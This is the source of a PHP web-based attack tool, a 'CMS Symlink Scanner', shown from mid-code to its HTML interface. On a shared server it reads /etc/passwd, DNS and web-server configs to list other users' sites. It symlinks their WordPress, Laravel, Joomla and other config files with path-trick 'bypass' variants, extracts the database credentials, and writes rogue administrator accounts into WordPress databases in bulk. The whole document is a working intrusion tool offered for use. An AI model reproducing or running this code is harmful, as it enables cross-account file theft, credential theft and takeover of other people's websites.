= 6) { $username = $parts[0]; $home = $parts[5]; // Skip system users if($username == 'root' || $username == 'daemon' || $username == 'bin' || $username == 'sys' || $username == 'sync' || $username == 'games' || $username == 'man' || $username == 'lp' || $username == 'mail' || $username == 'news' || $username == 'uucp' || $username == 'proxy' || $username == 'www-data' || $username == 'backup' || $username == 'list' || $username == 'irc' || $username == 'gnats' || $username == 'nobody' || $username == 'systemd' || $username == 'nobody' || strlen($username) > 20) { continue; } // Cek public_html dan subdomain $public_paths = [ "$home/public_html", "$home/www", "$home/web", "$home/htdocs", "$home/domains", "$home/subdomains" ]; foreach($public_paths as $path) { if(@is_dir($path)) { // Cari domain dari folder structure $user_domains[] = [ 'user' => $username, 'home' => $home, 'path' => $path, 'type' => 'user_home' ]; break; } } } } } } return $user_domains; } // FUNGSI DETEKSI DOMAIN DARI APACHE/NIGNX CONFIG function getDomainsFromWebConfigs() { $domains = []; // Apache configs $apache_paths = [ '/etc/apache2/sites-enabled/', '/etc/apache2/sites-available/', '/etc/httpd/conf.d/', '/etc/httpd/conf/extra/', '/usr/local/apache/conf/extra/', '/usr/local/etc/apache2/vhosts/' ]; foreach($apache_paths as $path) { if(@is_dir($path)) { $files = @scandir($path); if($files) { foreach($files as $file) { if($file == '.' || $file == '..') continue; $fullpath = $path . $file; if(@is_file($fullpath)) { $content = @file_get_contents($fullpath); if($content) { // Cari ServerName dan ServerAlias preg_match_all('/ServerName\s+([^\s]+)/i', $content, $names); foreach($names[1] as $domain) { if(!in_array($domain, $domains)) { $domains[] = $domain; } } preg_match_all('/ServerAlias\s+([^\s]+)/i', $content, $aliases); foreach($aliases[1] as $domain) { if(!in_array($domain, $domains)) { $domains[] = $domain; } } } } } } } } // Nginx configs $nginx_paths = [ '/etc/nginx/sites-enabled/', '/etc/nginx/sites-available/', '/etc/nginx/conf.d/', '/usr/local/nginx/conf/vhosts/' ]; foreach($nginx_paths as $path) { if(@is_dir($path)) { $files = @scandir($path); if($files) { foreach($files as $file) { if($file == '.' || $file == '..') continue; $fullpath = $path . $file; if(@is_file($fullpath)) { $content = @file_get_contents($fullpath); if($content) { // Cari server_name preg_match_all('/server_name\s+([^;]+)/i', $content, $names); foreach($names[1] as $name_str) { $name_parts = preg_split('/\s+/', $name_str); foreach($name_parts as $domain) { $domain = trim($domain); if(!empty($domain) && $domain != '_' && !in_array($domain, $domains)) { $domains[] = $domain; } } } } } } } } } return $domains; } // FUNGSI SCAN CMS DENGAN DOMAIN function scanCMSwithDomain($home, $domain = null) { $cms_list = []; if(!$handle = @opendir($home)) return $cms_list; while(false !== ($user = readdir($handle))) { if($user == '.' || $user == '..') continue; $user_home = "$home/$user"; if(!@is_dir($user_home)) continue; $web_paths = [ "$user_home/public_html", "$user_home/www", "$user_home/web", "$user_home/htdocs", "$user_home/domains/$domain/public_html", "$user_home/$domain" ]; foreach($web_paths as $web_path) { if(@is_dir($web_path)) { // WORDPRESS if(@file_exists("$web_path/wp-config.php")) { $cms_list[] = [ 'user' => $user, 'type' => 'WordPress', 'config' => "$web_path/wp-config.php", 'icon' => 'āš™ļø', 'path' => $web_path, 'domain' => $domain ]; } // LARAVEL if(@file_exists("$web_path/.env")) { $cms_list[] = [ 'user' => $user, 'type' => 'Laravel', 'config' => "$web_path/.env", 'icon' => 'šŸŽÆ', 'path' => $web_path, 'domain' => $domain ]; } // CODEIGNITER if(@file_exists("$web_path/application/config/database.php")) { $cms_list[] = [ 'user' => $user, 'type' => 'CodeIgniter', 'config' => "$web_path/application/config/database.php", 'icon' => 'šŸ”„', 'path' => $web_path, 'domain' => $domain ]; } // JOOMLA if(@file_exists("$web_path/configuration.php")) { $cms_list[] = [ 'user' => $user, 'type' => 'Joomla', 'config' => "$web_path/configuration.php", 'icon' => '🌐', 'path' => $web_path, 'domain' => $domain ]; } // DRUPAL if(@file_exists("$web_path/sites/default/settings.php")) { $cms_list[] = [ 'user' => $user, 'type' => 'Drupal', 'config' => "$web_path/sites/default/settings.php", 'icon' => '🐘', 'path' => $web_path, 'domain' => $domain ]; } // MAGENTO if(@file_exists("$web_path/app/etc/env.php")) { $cms_list[] = [ 'user' => $user, 'type' => 'Magento', 'config' => "$web_path/app/etc/env.php", 'icon' => 'šŸ›’', 'path' => $web_path, 'domain' => $domain ]; } } } } closedir($handle); return $cms_list; } function createSymlinkBypass($target, $linkname) { $techniques = [$target, "////$target", "/./$target", "/../$target", realpath($target) ?: $target, urlencode($target)]; foreach($techniques as $tech) { if(@symlink($tech, $linkname)) { @chmod($linkname, 0777); return true; } } return false; } function extractDBinfo($filepath) { if(!@file_exists($filepath)) return []; $content = @file_get_contents($filepath); $info = ['type' => 'Unknown', 'db' => '', 'user' => '', 'pass' => '', 'host' => '', 'prefix' => 'wp_']; if(preg_match("/define\s*\(\s*'DB_NAME'\s*,\s*'([^']+)'/", $content, $match)) { $info['type'] = 'WordPress'; $info['db'] = $match[1]; preg_match("/define\s*\(\s*'DB_USER'\s*,\s*'([^']+)'/", $content, $match) && ($info['user'] = $match[1]); preg_match("/define\s*\(\s*'DB_PASSWORD'\s*,\s*'([^']+)'/", $content, $match) && ($info['pass'] = $match[1]); preg_match("/define\s*\(\s*'DB_HOST'\s*,\s*'([^']+)'/", $content, $match) && ($info['host'] = $match[1]); preg_match("/\$table_prefix\s*=\s*'([^']+)'/", $content, $match) && ($info['prefix'] = $match[1]); } elseif(preg_match("/DB_DATABASE=([^\s\n]+)/", $content, $match)) { $info['type'] = 'Laravel'; $info['db'] = $match[1]; preg_match("/DB_USERNAME=([^\s\n]+)/", $content, $match) && ($info['user'] = $match[1]); preg_match("/DB_PASSWORD=([^\s\n]+)/", $content, $match) && ($info['pass'] = $match[1]); preg_match("/DB_HOST=([^\s\n]+)/", $content, $match) && ($info['host'] = $match[1]); } return $info; } function createOrUpdateWordPressAdmin($db_config, $admin_data) { try { $mysqli = @new mysqli($db_config['host'], $db_config['user'], $db_config['pass'], $db_config['db']); if ($mysqli->connect_error) { return ['success' => false, 'error' => 'Koneksi DB gagal: ' . $mysqli->connect_error]; } $prefix = $db_config['prefix']; $table_users = $prefix . 'users'; $table_usermeta = $prefix . 'usermeta'; $check_users = $mysqli->query("SHOW TABLES LIKE '{$table_users}'"); if(!$check_users || $check_users->num_rows === 0) { $search = $mysqli->query("SHOW TABLES LIKE '%users'"); if($search && $search->num_rows > 0) { $row = $search->fetch_row(); $table_users = $row[0]; if(substr($table_users, -6) === '_users') { $prefix = substr($table_users, 0, -6) . '_'; $table_usermeta = $prefix . 'usermeta'; } } else { return ['success' => false, 'error' => 'Tabel users tidak ditemukan']; } } $check_usermeta = $mysqli->query("SHOW TABLES LIKE '{$table_usermeta}'"); if(!$check_usermeta || $check_usermeta->num_rows === 0) { return ['success' => false, 'error' => 'Tabel usermeta tidak ditemukan']; } $hashed_password = password_hash($admin_data['password'], PASSWORD_BCRYPT); $now = date('Y-m-d H:i:s'); $display_name = !empty($admin_data['display_name']) ? $admin_data['display_name'] : $admin_data['username']; $check_stmt = $mysqli->prepare("SELECT ID FROM {$table_users} WHERE user_login = ?"); if(!$check_stmt) { return ['success' => false, 'error' => 'Prepare statement gagal: ' . $mysqli->error]; } $check_stmt->bind_param("s", $admin_data['username']); $check_stmt->execute(); $check_result = $check_stmt->get_result(); if($check_result && $check_result->num_rows > 0) { $row = $check_result->fetch_assoc(); $user_id = $row['ID']; $check_stmt->close(); $update_stmt = $mysqli->prepare("UPDATE {$table_users} SET user_pass = ?, user_email = ?, display_name = ? WHERE ID = ?"); if($update_stmt) { $update_stmt->bind_param("sssi", $hashed_password, $admin_data['email'], $display_name, $user_id); $update_stmt->execute(); $update_stmt->close(); } $cap_key = $prefix . 'capabilities'; $cap_value = 'a:1:{s:13:"administrator";b:1;}'; $check_cap = $mysqli->prepare("SELECT umeta_id FROM {$table_usermeta} WHERE user_id = ? AND meta_key = ?"); if($check_cap) { $check_cap->bind_param("is", $user_id, $cap_key); $check_cap->execute(); $cap_result = $check_cap->get_result(); if($cap_result && $cap_result->num_rows > 0) { $update_cap = $mysqli->prepare("UPDATE {$table_usermeta} SET meta_value = ? WHERE user_id = ? AND meta_key = ?"); if($update_cap) { $update_cap->bind_param("sis", $cap_value, $user_id, $cap_key); $update_cap->execute(); $update_cap->close(); } } else { $insert_cap = $mysqli->prepare("INSERT INTO {$table_usermeta} (user_id, meta_key, meta_value) VALUES (?, ?, ?)"); if($insert_cap) { $insert_cap->bind_param("iss", $user_id, $cap_key, $cap_value); $insert_cap->execute(); $insert_cap->close(); } } $check_cap->close(); } $level_key = $prefix . 'user_level'; $level_value = '10'; $check_level = $mysqli->prepare("SELECT umeta_id FROM {$table_usermeta} WHERE user_id = ? AND meta_key = ?"); if($check_level) { $check_level->bind_param("is", $user_id, $level_key); $check_level->execute(); $level_result = $check_level->get_result(); if($level_result && $level_result->num_rows > 0) { $update_level = $mysqli->prepare("UPDATE {$table_usermeta} SET meta_value = ? WHERE user_id = ? AND meta_key = ?"); if($update_level) { $update_level->bind_param("sis", $level_value, $user_id, $level_key); $update_level->execute(); $update_level->close(); } } else { $insert_level = $mysqli->prepare("INSERT INTO {$table_usermeta} (user_id, meta_key, meta_value) VALUES (?, ?, ?)"); if($insert_level) { $insert_level->bind_param("iss", $user_id, $level_key, $level_value); $insert_level->execute(); $insert_level->close(); } } $check_level->close(); } $mysqli->close(); return [ 'success' => true, 'user_id' => $user_id, 'action' => 'updated', 'message' => "Admin {$admin_data['username']} updated successfully" ]; } else { $check_stmt->close(); $insert_stmt = $mysqli->prepare("INSERT INTO {$table_users} (user_login, user_pass, user_nicename, user_email, user_registered, user_status, display_name) VALUES (?, ?, ?, ?, ?, 0, ?)"); if(!$insert_stmt) { return ['success' => false, 'error' => 'Prepare insert gagal: ' . $mysqli->error]; } $insert_stmt->bind_param("ssssss", $admin_data['username'], $hashed_password, $admin_data['username'], $admin_data['email'], $now, $display_name); $insert_stmt->execute(); $user_id = $mysqli->insert_id; $insert_stmt->close(); if(!$user_id) { return ['success' => false, 'error' => 'Gagal insert user']; } $cap_key = $prefix . 'capabilities'; $cap_value = 'a:1:{s:13:"administrator";b:1;}'; $cap_stmt = $mysqli->prepare("INSERT INTO {$table_usermeta} (user_id, meta_key, meta_value) VALUES (?, ?, ?)"); if($cap_stmt) { $cap_stmt->bind_param("iss", $user_id, $cap_key, $cap_value); $cap_stmt->execute(); $cap_stmt->close(); } $level_key = $prefix . 'user_level'; $level_value = '10'; $level_stmt = $mysqli->prepare("INSERT INTO {$table_usermeta} (user_id, meta_key, meta_value) VALUES (?, ?, ?)"); if($level_stmt) { $level_stmt->bind_param("iss", $user_id, $level_key, $level_value); $level_stmt->execute(); $level_stmt->close(); } $mysqli->close(); return [ 'success' => true, 'user_id' => $user_id, 'action' => 'created', 'message' => "Admin {$admin_data['username']} created successfully" ]; } } catch(Exception $e) { return ['success' => false, 'error' => 'Exception: ' . $e->getMessage()]; } } // HANDLE POST AJAX REQUESTS $input = json_decode(file_get_contents('php://input'), true); if($input && isset($input['action'])) { header('Content-Type: application/json'); $action = $input['action']; switch($action) { case 'scan': // Dapatkan semua domain dari named.conf $named_domains = getDomainsFromNamedConf(); // Dapatkan user dari passwd $users_from_passwd = getDomainsFromPasswdAndConfigs(); // Dapatkan domain dari web configs $web_domains = getDomainsFromWebConfigs(); $all_cms = []; // Scan dari named.conf domains foreach($named_domains as $domain) { for($i = 0; $i <= 99; $i++) { $home = $i == 0 ? "/home" : "/home$i"; if(@is_dir($home)) { $cms_in_home = scanCMSwithDomain($home, $domain); $all_cms = array_merge($all_cms, $cms_in_home); } } } // Scan dari passwd users foreach($users_from_passwd as $user_data) { $cms_list = []; $web_paths = [ $user_data['path'], $user_data['home'] . "/public_html", $user_data['home'] . "/www", $user_data['home'] . "/web" ]; foreach($web_paths as $web_path) { if(@is_dir($web_path)) { if(@file_exists("$web_path/wp-config.php")) { $all_cms[] = [ 'user' => $user_data['user'], 'type' => 'WordPress', 'config' => "$web_path/wp-config.php", 'icon' => 'āš™ļø', 'path' => $web_path, 'domain' => $user_data['user'] . '.local' ]; } if(@file_exists("$web_path/.env")) { $all_cms[] = [ 'user' => $user_data['user'], 'type' => 'Laravel', 'config' => "$web_path/.env", 'icon' => 'šŸŽÆ', 'path' => $web_path, 'domain' => $user_data['user'] . '.local' ]; } } } } // Tambahkan domain dari web configs sebagai info tambahan $all_cms = array_merge($all_cms, array_map(function($domain) { return [ 'user' => 'detected_domain', 'type' => 'Domain_Info', 'config' => '', 'icon' => '🌐', 'path' => '', 'domain' => $domain, 'is_domain_only' => true ]; }, $web_domains)); // Hapus duplikat berdasarkan config path $unique_cms = []; foreach($all_cms as $cms) { $key = $cms['config'] ?: $cms['domain']; if(!isset($unique_cms[$key])) { $unique_cms[$key] = $cms; } } echo json_encode(array_values($unique_cms)); break; case 'get_domains': $named_domains = getDomainsFromNamedConf(); $web_domains = getDomainsFromWebConfigs(); echo json_encode([ 'named_domains' => $named_domains, 'web_domains' => $web_domains ]); break; case 'get_users': $users = []; if(@file_exists('/etc/passwd')) { $passwd = @file_get_contents('/etc/passwd'); if($passwd) { $lines = explode("\n", $passwd); foreach($lines as $line) { if(empty($line)) continue; $parts = explode(':', $line); if(count($parts) >= 6) { $username = $parts[0]; $home = $parts[5]; if(strlen($username) < 20 && $home != '/' && $home != '/nonexistent') { $users[] = [ 'username' => $username, 'home' => $home, 'shell' => $parts[6] ?? '' ]; } } } } } echo json_encode($users); break; case 'create': $target = $input['target'] ?? ''; $username = $input['username'] ?? ''; if($target && $username) { $safe_username = preg_replace('/[^a-zA-Z0-9_-]/', '_', $username); $linkname = $FOLDER . "/link_" . $safe_username; $counter = 1; $original_linkname = $linkname; while(file_exists($linkname)) { $linkname = $original_linkname . "_" . $counter; $counter++; } if(createSymlinkBypass($target, $linkname)) { echo json_encode(['status' => 'success', 'link' => basename($linkname), 'username' => $username]); } else { echo json_encode(['status' => 'error', 'message' => 'Failed to create symlink']); } } else { echo json_encode(['status' => 'error', 'message' => 'Missing target or username']); } break; case 'create_bulk': $targets = $input['targets'] ?? ''; $usernames = $input['usernames'] ?? ''; if($targets && $usernames) { $targets_array = explode('|', $targets); $usernames_array = explode('|', $usernames); $success_count = 0; $failed_count = 0; foreach($targets_array as $index => $target) { if($target && @file_exists($target) && isset($usernames_array[$index])) { $safe_username = preg_replace('/[^a-zA-Z0-9_-]/', '_', $usernames_array[$index]); $linkname = $FOLDER . "/link_" . $safe_username; $counter = 1; $original_linkname = $linkname; while(file_exists($linkname)) { $linkname = $original_linkname . "_" . $counter; $counter++; } if(createSymlinkBypass($target, $linkname)) { $success_count++; } else { $failed_count++; } usleep(10000); } } echo json_encode(['status' => 'success', 'count' => $success_count, 'failed' => $failed_count]); } else { echo json_encode(['status' => 'error', 'message' => 'No targets provided']); } break; case 'create_admin': $config_path = $input['config_path'] ?? ''; $admin_data = $input['admin_data'] ?? []; if($config_path && $admin_data) { $db_info = extractDBinfo($config_path); if($db_info['type'] == 'WordPress') { $result = createOrUpdateWordPressAdmin($db_info, $admin_data); echo json_encode($result); } else { echo json_encode(['success' => false, 'error' => 'Not a WordPress CMS']); } } else { echo json_encode(['success' => false, 'error' => 'Missing config path or admin data']); } break; case 'create_admin_bulk': $configs = $input['configs'] ?? []; $admin_data = $input['admin_data'] ?? []; $results = []; foreach($configs as $config_path) { $db_info = extractDBinfo($config_path); if($db_info['type'] == 'WordPress') { $result = createOrUpdateWordPressAdmin($db_info, $admin_data); $results[] = [ 'config' => $config_path, 'result' => $result ]; } } echo json_encode(['success' => true, 'results' => $results]); break; case 'view': $link = $input['link'] ?? ''; if($link && @is_link("$FOLDER/$link")) { $target = readlink("$FOLDER/$link"); if(@file_exists($target)) { echo @file_get_contents($target) ?: "Cannot read file"; } else { echo "File not found"; } } break; case 'extract': $link = $input['link'] ?? ''; if($link && @is_link("$FOLDER/$link")) { $target = readlink("$FOLDER/$link"); echo json_encode(extractDBinfo($target)); } break; case 'list': $links = []; if(is_dir($FOLDER)) { foreach(scandir($FOLDER) as $item) { if($item == '.' || $item == '..') continue; $path = "$FOLDER/$item"; if(is_link($path)) { $links[] = ['name' => $item, 'target' => @readlink($path)]; } } } echo json_encode($links); break; case 'delete': $link = $input['link'] ?? ''; if($link) @unlink("$FOLDER/$link"); echo json_encode(['status' => 'deleted']); break; case 'delete_by_type': $type = $input['type'] ?? ''; $count = 0; if($type && is_dir($FOLDER)) { foreach(scandir($FOLDER) as $item) { if($item == '.' || $item == '..') continue; if(is_link("$FOLDER/$item")) { if(strpos($item, "link_") === 0) { @unlink("$FOLDER/$item"); $count++; } } } } echo json_encode(['status' => 'deleted', 'count' => $count]); break; case 'delete_all': $count = 0; if(is_dir($FOLDER)) { foreach(scandir($FOLDER) as $item) { if($item == '.' || $item == '..') continue; if(is_link("$FOLDER/$item")) { @unlink("$FOLDER/$item"); $count++; } } } echo json_encode(['status' => 'deleted', 'count' => $count]); break; } exit; } ?> šŸ” CMS Symlink Scanner - With Domain Detection

šŸš€ CMS SYMLINK SCANNER

Scan semua CMS, detect domain dari named.conf & /etc/passwd, create symlink, mass admin WordPress!

WordPress Laravel CodeIgniter Joomla Drupal Magento
šŸ” Auto detect domain dari named.conf, /etc/passwd, Apache/Nginx config

šŸ” SCAN SERVER

⚔ TOTAL SYMLINK

0
Active Symlinks

šŸ“Š STATISTICS

WordPress:0
Laravel:0
CodeIgniter:0
Joomla:0
Drupal:0
Magento:0
Domains:0

šŸ› ļø ACTIONS

šŸ“‹ DETECTED CMS & DOMAINS

šŸ”— ACTIVE SYMLINKS

šŸ—ƒļø DATABASE INFO

No database info extracted yet